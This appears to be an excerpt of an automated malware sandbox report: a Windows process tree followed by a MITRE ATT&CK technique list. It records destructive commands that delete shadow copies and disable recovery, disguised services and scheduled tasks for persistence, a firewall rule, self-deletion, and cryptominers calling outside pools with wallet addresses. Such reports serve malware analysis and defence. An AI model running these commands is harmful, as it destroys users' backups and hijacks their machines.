- Process spawned unexpected child process
PID:208
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:6408

C:\Users\Admin\AppData\Local\Temp\1664.exe
C:\Users\Admin\AppData\Local\Temp\1664.exe
1⤵
PID:9080

C:\Users\Admin\AppData\Local\Temp\1E83.exe
C:\Users\Admin\AppData\Local\Temp\1E83.exe
1⤵
PID:6604

C:\Users\Admin\AppData\Local\Temp\5766.exe
C:\Users\Admin\AppData\Local\Temp\5766.exe
1⤵
PID:2136

C:\Users\Admin\AppData\Local\Temp\6707.exe
C:\Users\Admin\AppData\Local\Temp\6707.exe
1⤵
PID:8484
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ryvzqvwe\
  2⤵
  PID:8548
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\txeikndp.exe" C:\Windows\SysWOW64\ryvzqvwe\
  2⤵
  PID:9276
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\System32\sc.exe" create ryvzqvwe binPath= "C:\Windows\SysWOW64\ryvzqvwe\txeikndp.exe /d\"C:\Users\Admin\AppData\Local\Temp\6707.exe\"" type= own start= auto DisplayName= "wifi support"
  2⤵
  PID:9576
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\System32\sc.exe" description ryvzqvwe "wifi internet conection"
  2⤵
  PID:9944
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\System32\sc.exe" start ryvzqvwe
  2⤵
  PID:9252
- C:\Windows\SysWOW64\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
  2⤵
  PID:5992

C:\Users\Admin\AppData\Local\Temp\76A8.exe
C:\Users\Admin\AppData\Local\Temp\76A8.exe
1⤵
PID:8768

C:\Users\Admin\AppData\Local\Temp\BAC7.exe
C:\Users\Admin\AppData\Local\Temp\BAC7.exe
1⤵
PID:340

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:7396
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of FindShellTrayWindow
  PID:5896

C:\Users\Admin\AppData\Local\Temp\E5B0.exe
C:\Users\Admin\AppData\Local\Temp\E5B0.exe
1⤵
PID:7172

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:9504

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:9660

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:9780

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:9900

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:10052

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:10176

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:8804

C:\Windows\SysWOW64\ryvzqvwe\txeikndp.exe
C:\Windows\SysWOW64\ryvzqvwe\txeikndp.exe /d"C:\Users\Admin\AppData\Local\Temp\6707.exe"
1⤵
PID:8904
- C:\Windows\SysWOW64\svchost.exe
  svchost.exe
  2⤵
  PID:8748
- - C:\Windows\SysWOW64\svchost.exe
    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
    3⤵
    PID:1048

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:9000

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:9448

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s DeviceInstall
1⤵
PID:5012
- C:\Windows\system32\DrvInst.exe
  DrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{0d2495e1-4518-3748-aca9-0701b736a72a}\oemvista.inf" "9" "4d14a44ff" "0000000000000174" "WinSta0\Default" "000000000000016C" "208" "c:\program files (x86)\maskvpn\driver\win764"
  2⤵
  PID:8392
- C:\Windows\system32\DrvInst.exe
  DrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem2.inf" "oemvista.inf:3beb73aff103cc24:tap0901.ndi:9.0.0.21:tap0901," "4d14a44ff" "0000000000000170"
  2⤵
  PID:8904

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s NetSetupSvc
1⤵
PID:9480

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s DsmSvc
1⤵
PID:4664

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:10088
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:2296

C:\Program Files (x86)\MaskVPN\mask_svc.exe
"C:\Program Files (x86)\MaskVPN\mask_svc.exe"
1⤵
PID:8092
- C:\Program Files (x86)\MaskVPN\MaskVPNUpdate.exe
  MaskVPNUpdate.exe /silent
  2⤵
  PID:7324

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
PID:7004

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
PID:5340

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:8344

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:9308

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:9352

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:9332

C:\Users\Admin\AppData\Roaming\wirbfsf
C:\Users\Admin\AppData\Roaming\wirbfsf
1⤵
PID:5984

C:\Windows\system32\compattelrunner.exe
C:\Windows\system32\compattelrunner.exe -m:aeinv.dll -f:UpdateSoftwareInventoryW
1⤵
PID:8460

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s seclogon
1⤵
PID:7124

C:\Users\Admin\AppData\Local\Temp\74E1.exe
C:\Users\Admin\AppData\Local\Temp\74E1.exe
1⤵
PID:8672
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\services.exe
  "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\services.exe" -start
  2⤵
  PID:8508
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\services.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\services.exe" -agent 0
    3⤵
    PID:8648
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\~temp001.bat
    3⤵
    PID:7152
  - - C:\Windows\SysWOW64\Wbem\WMIC.exe
      wmic shadowcopy delete
      4⤵
      PID:1104
  - - C:\Windows\SysWOW64\vssadmin.exe
      vssadmin delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:5824
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C vssadmin delete shadows /all /quiet
    3⤵
    PID:5012
  - - C:\Windows\SysWOW64\vssadmin.exe
      vssadmin delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:8920
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C wbadmin delete catalog -quiet
    3⤵
    PID:5548
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    PID:5920
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C bcdedit /set {default} recoveryenabled no
    3⤵
    PID:3156
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C wmic shadowcopy delete
    3⤵
    PID:4468
  - - C:\Windows\SysWOW64\Wbem\WMIC.exe
      wmic shadowcopy delete
      4⤵
      PID:8516
- - C:\Windows\SysWOW64\notepad.exe
    notepad.exe
    3⤵
    PID:4576
- C:\Windows\SysWOW64\notepad.exe
  notepad.exe
  2⤵
  PID:9016

C:\Users\Admin\AppData\Local\Temp\8201.exe
C:\Users\Admin\AppData\Local\Temp\8201.exe
1⤵
PID:6888
- C:\Users\Admin\Documents\Update.exe
  "C:\Users\Admin\Documents\Update.exe"
  2⤵
  PID:7964
- - C:\Users\Admin\AppData\Local\Temp\Clip_.exe
    "C:\Users\Admin\AppData\Local\Temp\Clip_.exe"
    3⤵
    PID:3980
- - C:\Users\Admin\AppData\Local\Temp\Red1_.exe
    "C:\Users\Admin\AppData\Local\Temp\Red1_.exe"
    3⤵
    PID:5064
- - C:\Users\Admin\AppData\Local\Temp\DriverUpdate.exe
    "C:\Users\Admin\AppData\Local\Temp\DriverUpdate.exe"
    3⤵
    PID:8436
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "WindowsSecurity" /tr '"C:\Users\Admin\AppData\Roaming\WindowsSecurity.exe"' & exit
      4⤵
      PID:10200
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "WindowsSecurity" /tr '"C:\Users\Admin\AppData\Roaming\WindowsSecurity.exe"'
        5⤵
        Creates scheduled task(s)
        
        PID:6576
  - - C:\Users\Admin\AppData\Roaming\WindowsSecurity.exe
      "C:\Users\Admin\AppData\Roaming\WindowsSecurity.exe"
      4⤵
      PID:8128
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "WindowsSecurity" /tr '"C:\Users\Admin\AppData\Roaming\WindowsSecurity.exe"' & exit
        5⤵
        
        PID:8800
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "WindowsSecurity" /tr '"C:\Users\Admin\AppData\Roaming\WindowsSecurity.exe"'
        6⤵
        Creates scheduled task(s)
        
        PID:4332
    - - C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        5⤵
        
        PID:5340
    - - C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=antivirus.windowsdefenderautoupdater.me:3333 --user=4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQuiWzFUXCscKHeTzpD --pass=x --cpu-max-threads-hint=30 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-idle-wait=3 --cinit-idle-cpu=90 --nicehash --cinit-stealth
        5⤵
        
        PID:4164
- - C:\Users\Admin\AppData\Local\Temp\SteamUpdate.exe
    "C:\Users\Admin\AppData\Local\Temp\SteamUpdate.exe"
    3⤵
    PID:6952
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "VideoDriver" /tr '"C:\Users\Admin\AppData\Roaming\VideoDriver.exe"' & exit
      4⤵
      PID:2424
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "VideoDriver" /tr '"C:\Users\Admin\AppData\Roaming\VideoDriver.exe"'
        5⤵
        Creates scheduled task(s)
        
        PID:7424
  - - C:\Users\Admin\AppData\Roaming\VideoDriver.exe
      "C:\Users\Admin\AppData\Roaming\VideoDriver.exe"
      4⤵
      PID:4180
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "VideoDriver" /tr '"C:\Users\Admin\AppData\Roaming\VideoDriver.exe"' & exit
        5⤵
        
        PID:8948
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "VideoDriver" /tr '"C:\Users\Admin\AppData\Roaming\VideoDriver.exe"'
        6⤵
        Creates scheduled task(s)
        
        PID:9800
    - - C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe"
        5⤵
        
        PID:1324
- - C:\Users\Admin\AppData\Local\Temp\UpdateCore.exe
    "C:\Users\Admin\AppData\Local\Temp\UpdateCore.exe"
    3⤵
    PID:8692
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C ping 1.1.1.1 -n 1 -w 100 > Nul & Del "C:\Users\Admin\AppData\Local\Temp\8201.exe"& ping 1.1.1.1 -n 1 -w 900 > Nul & Del "C:\Users\Admin\AppData\Local\Temp\8201.exe"
  2⤵
  PID:860
- - C:\Windows\SysWOW64\PING.EXE
    ping 1.1.1.1 -n 1 -w 100
    3⤵
    - Runs ping.exe
    PID:4184
- - C:\Windows\SysWOW64\PING.EXE
    ping 1.1.1.1 -n 1 -w 900
    3⤵
    - Runs ping.exe
    PID:8848

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:9912

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:4936

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:10164

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

New Service

T1050

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

New Service

T1050

Scheduled Task

Defense Evasion

Disabling Security Tools

T1089

File Deletion

T1107

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

Remote System Discovery

T1018

System Information Discovery